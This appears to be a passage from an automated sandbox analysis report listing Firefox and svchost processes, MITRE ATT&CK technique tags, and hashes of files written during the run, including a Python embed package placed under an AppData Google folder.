      Checks processor information in registry
      PID:2668
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6872 -prefsLen 33949 -prefMapHandle 6880 -prefMapSize 270279 -jsInitHandle 472 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1364 -initialChannelId {50ce0650-7380-4a46-9e0b-c7f62c98831a} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
      4⤵
      Checks processor information in registry
      PID:6088
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 7216 -prefsLen 36672 -prefMapHandle 6580 -prefMapSize 270279 -ipcHandle 6524 -initialChannelId {94a9ec5c-f484-4598-96ac-e4a99b5a59a1} -parentPid 4612 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4612" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 15 utility
      4⤵
      Checks processor information in registry
      PID:5136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:1980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 24d48736fb806fd1dc1f0de26188f9adc9a5514450e72c3ccba7ab7263fe47f3
MD5 dd1ddf3d8f4d72d8d1f2af0e9e6c3fc5
SHA1 f3f0a7717070279f77a0df04f3f8aca97caab76d
SHA512 ee28ebcaf14e489f7be632b36edfa6b2dfb6912bd731f3311ce107ebdc3fb859d075e7b857216f218780a70c4c0be2dc9a75378a9695f3cfcb07688bfe0e3e54
SSDEEP 1536:yKLgYMYo2hiFMxfKQ7JYmflJdHaYmh4iUxHR40i71YigMOyPwOdBiV3CNBQkj2/P:yKLgYMYo2hiFMxfKQ7JYmflJd6YmqiUx
TLSH
T11E637292E9204E75E1A66F3EF15622627D30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 09e47480a8b3ea53be8e6d5d5b68c6bbcfba7d97093a6c3fdcd3de14c6b4867d
MD5 f37f8410551a59617e6e65972735b0aa
SHA1 393bcefee96e083bacc2c5e28595b723f90dd252
SHA512 8d92ac29e7be2f2a0fdf4c84cb1fbe7e5c9a65808c3d906770d1e734445432ae7cb4b412876ee332ac8fc63068bb784f2e98e0eb57d79cb8b260320b4b0a7a63
TLSH
T19D219A33B3DC8664C88A413A00DEAC1037B683D791DECEDBBB84D248B52F298CE60250
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 749b22aa719a403fa955a254133015683f1e9ff3144c2bd210a16f2afe27f8cd
MD5 416e5df601aab44e7dc45d154933825e
SHA1 ad98803e6d00cd00b1575f1295a3a2bd67696b83
SHA512 501291b2ba2e2ce90efb18ceadfccf1159b7baa347480ff352bbf75be01d96f075cef14faf398cd689ef2fa093a5f65a0a0549af2190b52cb3d8c0fc79e1799a
TLSH
T157216A33B3DC8661D889413A00DEEC1037B697D791DEDEDBBB84D244B52F299DE60290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 95e88174a3ba595d11da28ce853759839bb82932442123bf06b722b4596af469
MD5 851956170058e446e1d268d801f2bc0c
SHA1 5530b6a415a337b7ded59ead428d74f33eb71851
SHA512 9601c8be97f2e4017bb98b830161b7f60f0d396095f05b9794c7c940be85b224811cbeb10a86e616adb84e262c3910292fcec8506c7237a354fa6ed35a2063eb
TLSH
T10E219A33B3DC86A4C889413B00DAAC0036B793D791DECEDBBB84D258B52F689CE60150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2a9fc677cfaa7250f2f2a6ac370acc7df17aa7b76ac360d175804987bdd0b571
MD5 35e07f79b8728719216e4f0e58c87a89
SHA1 f62ec1e1fb891aa439463d1286cc358c74b7d6e4
SHA512 cc79fed12b7d9024bb9a35c247e53551191315555412386fa34a71edc99af38aacac14dc28c18b289a50452530c2dd7425a733df7841bdcfd310491c7e2a8088
TLSH
T1DC219A33B3DC8664C889413B00DEAC1037B683D791DECEDBBB84D248B52F299CE60250
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7581f34e0afdbffd85741c088b526a3fc0993be99b3867caabe2affb7fdf26c4
MD5 c3990860fa4943521269d578747b61f9
SHA1 228bb95526a4f82315bae63b76656d1f2c651197
SHA512 2622e2058dd1607a643773c8e9251e961271164492c7536bc50f749e7a422f05bba94b082ab078138808493f1a17dc30435974c7323481fbed05aecff333c179
TLSH
T12E219A33B3DC8664C889413A04DEEC0037B683D791DECEDBBB84D248B52F298CE60250
MD5 SHA1 SHA512 TLSH

Submit Download

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\00wjakap.default-release\activity-stream.contile.json
Size 1KB
SHA256 52234c9c0a06c1e8a9b75d0867ea2f3fcb6f231b0676d6215361ed0b442ff850
MD5 f13db016303e90110114618bce945106
SHA1 d9b03a8e03d896f471ec550f71d13d1d828a3281
SHA512 b170f438a09fdc7276628f2b34935dd3bfe33282e03b8a963beff80820e7b89ce5c2da277ac08a2c9f933ad23c6c6ef7b09e82ad811f592ca8e6b5c5eceb76cc
TLSH
T1A031A38B89C8D8E3AB53A4E63D1B27ECF443A05684F8CC0C27696D0282FD11B805E844
MD5 SHA1 SHA512 TLSH

Submit Download

4E3D8FAAF804AAC616BC48BD4AFA8BE284516FCF

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\00wjakap.default-release\cache2\entries\4E3D8FAAF804AAC616BC48BD4AFA8BE284516FCF
Size 16KB
SHA256 921ca59160819f877508676ef77d6d0a3e6a3f19a4e5e1d7a9151224720ab5b8
MD5 86349fcf8762cd2199dc1c725b497d2f
SHA1 00e144d3a56d6f876f87f8cef7c77467986481bd
SHA512 4ff439c0860118275c5da3d2662aa72c4cb9ca1beaed032249f1d4fdd29269ed5316e6f0a42f9ea20d843b230d943de8276d4a2f859a6fae9bcecc0f43e14712
SSDEEP 384:HwCe7iO024YGDL84KKDL849B7SOEAd9KVRaAcP+AWRMAwSR:QqZYGDL8lKDL8CB7S/AmVAf+hRMrSR
TLSH
T1F5729E7D9F403CAC1597C0E8C4F892DA8D18B6A7DFE6806D21683D0DC6949A9B1F544F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

571C8A42E3BA835BDD9BA4009703DA48CC030CCE

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\00wjakap.default-release\cache2\entries\571C8A42E3BA835BDD9BA4009703DA48CC030CCE
Size 62KB
SHA256 efdeb94387584a4f330f03ff9fe3e6403f388e0cbd78f7f6f523d061f2eebe32
MD5 2e41bdb74e2348366f72230d8432b2b1
SHA1 d509112ac33788973c2b8620f25ea58c3f012c0c
SHA512 e499277b9879e3aefd52503eb130547d22ed9b2dd529b43f342593c28790306aece486f9ce630731f6f8b7dd8c8cd12a596ebd22e9916da00c965f57cd7cd2cf
SSDEEP 1536:HIe0mxoNkAY4fFK07vM0cDrqzAhHST41W2w2N:HpEkAYmM4vVcDkAhyT4R5
TLSH
T11D53017B79152248C96220A112222A5C3DABD6A39F3BF128706D234CCCD77FD75A9369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5948E24416D61F80680B7B5CADF7704B9A8209D5

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\00wjakap.default-release\cache2\entries\5948E24416D61F80680B7B5CADF7704B9A8209D5
Size 110KB
SHA256 ede300f34e6efcdb0861d79d5792c2bd74a16e55eb6beb2342c090fa4c760c62
MD5 7cde3a28b92d5feedfc6297b97df7fd1
SHA1 2b032a523d49b06ee329777ffa5ad4ccd417b150
SHA512 368a76f023359ab75d5caeafe7e46fe465558a9e68ce3e5766d694adba63200d13f005ecee09311478db7bbc081eba01a766f5c76510a80dadb10cc6b6969aed
SSDEEP 3072:B2Z6MEkSuguxaV49pyPYjiAK28Bs6eb/tZs6eb/t6:cMwtxa4ywVK28ay6
TLSH
T118B3E0FB491848291F315BF1772A326CDABB450AFCE0E9F9D4249C1198F0FBAE148D16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5948E24416D61F80680B7B5CADF7704B9A8209D5

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\00wjakap.default-release\cache2\entries\5948E24416D61F80680B7B5CADF7704B9A8209D5
Size 109KB
SHA256 7f9521da3d636a60929b0619a79da1c3bf48164f9527fcc885d44bcb1e39e696
MD5 4cd9937c8c7d50d006ab96f4f5ed3f19
SHA1 7378b8b8e5e898e9cd6ced7ac9927f68aabbabc8
SHA512 04cac70ff44a466c7d6892858a65b18bd2e7ee5d76c231f6fded46791a8e8115c804aa189a7f4e9b2783931faf4ab7e4b1662e76d76b5750ec33b3b77e1b0c67
SSDEEP 3072:larrGvS6ztbLjCoy7JRf0R8M8X+L7nBp2zTL6eb/t0L6eb/tF:larrGq6zZGoy7nb+LbBp2z7QF
TLSH
T1A1B3D0FB4409491D5B754BF1B23932ACEABBA40EBDD5D9F5D1256CA380F0BB3A048E40
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BC88343A7E0FECEF223F8C869042F5D494D3A46E

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\00wjakap.default-release\cache2\entries\BC88343A7E0FECEF223F8C869042F5D494D3A46E
Size 24KB
SHA256 1ee6358d3dd3ce723eeec91cfd2aba8698d73171bf68ab8c73b34dcf8fd8604b
MD5 0fddec03aed4a509262fe70fe2f9a3e5
SHA1 17c09445dac1c042815cb72b92c3d1497ab6c745
SHA512 f2cc4c5245869e30d7829bca10b6af5603321a00f1fb94d5e1f2e9770ee59a110085fb5526a10fc1e32c0545899599d48b643a009a6d0d08ecfa3b5abaa84ab4
SSDEEP 768:g99uTru5RYZINIxEc6IsHGPnCNQj8s7gyixvuY0fAichOx:gDu3u5ibEc6HQzIs2P0hHx
TLSH
T186B2D17B4EA818731B515FC4CE15E7980C00E6439BF1DDEE1989298D96A63788F2394E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BDEF1F7D370CD3CDDD283919C1AB02DBB00F6566

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\00wjakap.default-release\cache2\entries\BDEF1F7D370CD3CDDD283919C1AB02DBB00F6566
Size 213KB
SHA256 ec7957d2ab13f605b3820947fc95fbc6e8015e231021b2cc0cc46d6386492d17
MD5 06a073f6b273136f06179893a22030d6
SHA1 5345b32274894c0dcca2f224b76bc99b10f5ee83
SHA512 895681ad301bed60fa93662e2d8108c008064de31ff702aaae70bf89446d21c7aa14f8cc195dc53efbf5268ec12b942b3854d01455f2253ba21a3676f4e6333e
SSDEEP 6144:TqCh2B9D0flbF6/ekDyYvkLpoYp5mKX0A28i:HgLh/jDyYvoa0mKkA2f
TLSH
T17C24233196C8709D0396FB88E56CCD59CEE8AC714FA5FB6FD598248CADB8F38A054D10
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

030c75e7-1bb6-42f5-8626-c1dd7ca82ef1.zip

Path C:\Users\Admin\AppData\Local\Temp\030c75e7-1bb6-42f5-8626-c1dd7ca82ef1.zip
Size 3.7MB
SHA256 dd544d48a457b6c12041612325df3c7f9b4c3cd0369ca24cc4f71128e625be98
MD5 3850f642d336e5b283975359ae18e3d7
SHA1 3978cd7a6dd7a3e7cd38e17b153e16ec119d7cee
SHA512 31254b8b9d53e4ea690eda16e079bcd983d40379e410e8078803078ec9a9ab4e168f3b9f7b591dadfda36bbe9c5cae7b8a9570f712af61ef14ccfc47de52a54f
SSDEEP 49152:7Vv1Dboz1hnoFzgmLWGBR/VvhF62rIydNOW2ytsj6F6Qyla0NPjuO4J/ceo0nw8E:Zv1vgHohhFLGmtsjO6QINNohnw8ZG
TLSH
T15906F175D75C1609C9FF83BA850C2FC2984C4FAE8054A96BEA6AD9715CE33EE1F4484C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_qgoscvqh.bgn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qgoscvqh.bgn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mozilla-temp-31115

Path C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-31115
Size 4.8MB
SHA256 8d711417839c9b182af9f29f349678d0e3cc562ef77bb74d6226d2cc73dd5aff
MD5 6585590ea86af1813949c02ccdf6bfe9
SHA1 3881fdb2216ce0f1ebb10cc8e81e3af355783f04
SHA512 4001a892d2434c616eefa6010689989404a1fcedbfb3ee66bebfede816a08c08283b3f22e1cf89feadb7e7ee963db1d1a63202ac47b119828ed72e7e6a7da5ed
SSDEEP 49152:Si4JmULjL60fAZiUguH85+j/bCkxD9ERBiF:Offm6ybCkxaniF
TLSH
T15D36D16638D97098F073AD416BDBF7A6C75FF3622E06A85B09CC134A02E7941DE43C66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mozilla-temp-4639

Path C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-4639
Size 4.3MB
SHA256 7b0ece1471f38fd79790938b468284edf4db7f30492b0f6b6aa8b2257fac72c2
MD5 d2db00d36b3844f150fe1b74ac91aa58
SHA1 18c4d1a145b984494a207952bffdf6f733da098e
SHA512 79605e97b10407cd88da21d766c704eac072ea972c2e0cd934fd86fcce49fe16a8c4cf9014e35fd879214db85724b67a54dd91ab4d4caab2a06f0c9e773ae249
SSDEEP 49152:ol2I1teFkCvd5wGBXqToUF9yhDjbpcwX31u:0GTd5hcnFmDjbpzn1u
TLSH
T1E0268F732AD664D9B037BD119BE8B5B7CB1FB7722A0B185B1284030342D6946DF8397B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

get-pip.py

Path C:\Users\Admin\AppData\Roaming\Google\python\get-pip.py
Size 2.1MB
SHA256 25b5c39ade96bab5eabe6404ce83cab6da2deb5fe3c07d9881f43803edb6f9c8
MD5 21a40c062c547371b793ab3f92ba798b
SHA1 03321fb25f03442560d17cf42652328693f62c6b
SHA512 d6b789bb10413fe6be1050ce9f6c4b311afd648ee320e856f7ccb5c5934c441efad4f8cfc4662e996c8acd44715cbf4304b5905300b7484fead47dec06f3933f
SSDEEP 49152:eVwtasmgbCOSfIEAfxfPiN+utmZoill/bZcH:eVwUgbrSfFA1KN+lncH
TLSH
T166A53320F24B1ED1CB15875AC976B35D86A3FD15B8CA6E0A974C1232E72469AD0F333D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python-3.14.2-embed-amd64.zip

Path C:\Users\Admin\AppData\Roaming\Google\python\python-3.14.2-embed-amd64.zip
Size 10.6MB
SHA256 45f3dde33b4a90f791e86a7efc78ee00fb38a58c5a733e923c5d3e1be642d568
MD5 c45539d27ab4f3dd4908c7d8fb2cdd99
SHA1 dadf204a0c25bd2f30241ce4aea446c1e5bc0433
SHA512 e963d44362a1bfc357c215422b08939039fead58283bf71b6fa274caf131a6d420e44c9c77ad2f7a109dad73bf581a4836840d805026a6bc2847f72e8eabb3af
SSDEEP 196608:yyoIwavl6KcCgYi6IrlTEH7b061Wrrr23Mc5EeFNQLEPz0qN6wCq2qV9nEz:joI5HniDlTEH7b00W5EEeFNrhOqVyz
TLSH
T119B633C861ED2A45B97DD12819FDDE0221DA63DBB6A0565C465E3EE318CF33A3B5C00E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download